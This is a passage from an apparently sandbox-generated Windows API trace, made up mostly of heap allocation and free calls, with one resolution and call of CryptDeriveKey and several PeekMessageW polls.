Size=0x8) returned 0xeaf358 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076df0 [0132.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ec8 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e08 [0132.758] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0132.758] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077000 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e38 [0132.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x1068428 [0132.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e18 | out: hHeap=0xe80000) returned 1 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f88 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0132.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e50 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ef8 [0132.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fa0 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f10 [0132.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.759] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f28 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fd0 [0132.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f58 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f70 [0132.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2a8 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fe8 [0132.760] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077018 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10772d0 [0132.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077018 | out: hHeap=0xe80000) returned 1 [0132.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10772d0 | out: hHeap=0xe80000) returned 1 [0132.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9aa8 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0132.760] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077348 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077288 [0132.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077348 | out: hHeap=0xe80000) returned 1 [0132.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0132.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077288 | out: hHeap=0xe80000) returned 1 [0132.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10772e8 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077198 [0132.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10772e8 | out: hHeap=0xe80000) returned 1 [0132.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077198 | out: hHeap=0xe80000) returned 1 [0132.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077240 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3b8 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf448 [0132.761] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077120 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077240 | out: hHeap=0xe80000) returned 1 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077120 | out: hHeap=0xe80000) returned 1 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0132.762] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0132.762] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077330 [0132.762] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0132.762] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0132.762] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077108 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077330 | out: hHeap=0xe80000) returned 1 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077108 | out: hHeap=0xe80000) returned 1 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0132.762] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0132.762] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077168 [0132.762] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0132.762] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf448 [0132.762] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077120 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077168 | out: hHeap=0xe80000) returned 1 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077120 | out: hHeap=0xe80000) returned 1 [0132.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0132.762] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077258 [0132.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0132.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0132.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xf) returned 0x10772a0 [0132.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x10772a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0132.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10772a0 | out: hHeap=0xe80000) returned 1 [0132.763] GetProcAddress (hModule=0x75a50000, lpProcName="CryptDeriveKey") returned 0x75a86ad0 [0132.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077258 | out: hHeap=0xe80000) returned 1 [0132.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9da0 [0132.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2c8 [0132.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0132.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf278 [0132.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf258 [0132.763] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0132.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0132.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0132.764] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0132.764] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0132.764] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0132.764] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9da0 | out: hHeap=0xe80000) returned 1 [0132.764] CryptDeriveKey (in: hProv=0x1048538, Algid=0x6610, hBaseData=0x10160c0, dwFlags=0x1, phKey=0xbdee88 | out: phKey=0xbdee88*=0x1015d40) returned 1 [0132.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf258 [0132.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xefc548 [0132.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0132.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077378 [0132.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10770d8 [0132.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10772d0 [0132.765] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0132.765] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10772d0 | out: hHeap=0xe80000) returned 1 [0132.765] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0132.765] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770d8 | out: hHeap=0xe80000) returned 1 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077348 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077390 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077150 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0132.766] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077150 | out: hHeap=0xe80000) returned 1 [0132.766] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0132.766] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077390 | out: hHeap=0xe80000) returned 1 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10772a0 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077390 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10771e0 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0132.766] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10771e0 | out: hHeap=0xe80000) returned 1 [0132.766] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.766] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077390 | out: hHeap=0xe80000) returned 1 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077330 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10771c8 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10772e8 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2c8 [0132.766] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10772e8 | out: hHeap=0xe80000) returned 1 [0132.766] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0132.766] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10771c8 | out: hHeap=0xe80000) returned 1 [0132.766] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077210 [0132.767] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077288 [0132.767] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10771e0 [0132.767] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0132.767] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10771e0 | out: hHeap=0xe80000) returned 1 [0132.767] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.767] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077288 | out: hHeap=0xe80000) returned 1 [0132.767] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10771f8 [0132.767] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077108 [0132.767] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077240 [0132.767] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0132.767] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077240 | out: hHeap=0xe80000) returned 1 [0132.767] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0132.767] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077108 | out: hHeap=0xe80000) returned 1 [0132.767] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.767] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.767] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.767] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0132.767] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9aa8 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fe8 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076dc0 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e80 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077030 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f40 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077048 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fb8 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770a8 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076df0 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076eb0 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e08 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ec8 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077000 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f88 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ef8 | out: hHeap=0xe80000) returned 1 [0132.768] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e50 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f10 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fa0 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fd0 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f28 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f70 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f58 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1068428 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770c0 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077228 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077270 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d0d0 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555f0 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10772b8 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077360 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077318 | out: hHeap=0xe80000) returned 1 [0132.769] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.770] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefbfd8 | out: hHeap=0xe80000) returned 1 [0132.770] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0132.771] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0132.771] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0132.772] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.772] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.772] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.772] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.772] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c88 [0132.772] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10772d0 [0132.772] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0132.772] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0132.772] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077288 [0132.772] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0132.772] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0132.772] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10772d0 | out: hHeap=0xe80000) returned 1 [0132.772] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077288 | out: hHeap=0xe80000) returned 1 [0132.772] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0132.773] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.773] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b48 [0132.773] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077198 [0132.773] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.773] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077390 [0132.773] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.773] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077390 | out: hHeap=0xe80000) returned 1 [0132.773] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077198 | out: hHeap=0xe80000) returned 1 [0132.773] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0132.773] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.773] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0132.773] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.774] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.774] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0132.774] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055630 [0132.774] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055630 | out: hHeap=0xe80000) returned 1 [0132.774] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.774] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.774] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c40 [0132.774] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.774] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c40 | out: hHeap=0xe80000) returned 1 [0132.774] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, 